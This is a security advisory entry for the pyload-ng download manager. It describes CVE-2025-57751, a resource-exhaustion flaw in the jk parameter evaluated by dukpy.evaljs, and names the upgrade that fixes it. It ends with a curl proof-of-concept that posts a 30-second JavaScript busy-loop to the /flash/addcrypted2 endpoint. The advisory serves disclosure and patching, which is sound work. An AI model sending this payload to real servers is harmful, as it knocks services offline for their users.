Allocation of Resources Without Limits or Throttling Affecting pyload-ng package, versions [,0.5.0b3.dev92)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-PYLOADNG-12179281
- published25 Aug 2025
- disclosed21 Aug 2025
- creditcyjhhh
Introduced: 21 Aug 2025
CVE-2025-57751 (opens in a new tab)How to fix?
Upgrade pyload-ng to version 0.5.0b3.dev92 or higher.
Overview
pyload-ng is a The free and open-source Download Manager written in pure Python
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the jk parameter in the CNL Blueprint process. An attacker can cause the server CPU to become fully occupied and render the web interface unresponsive by supplying crafted input to the dukpy.evaljs function.
PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "crypted=SGVsbG8gd29ybGQ=" \
-d "passwords=pyload" \
-d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"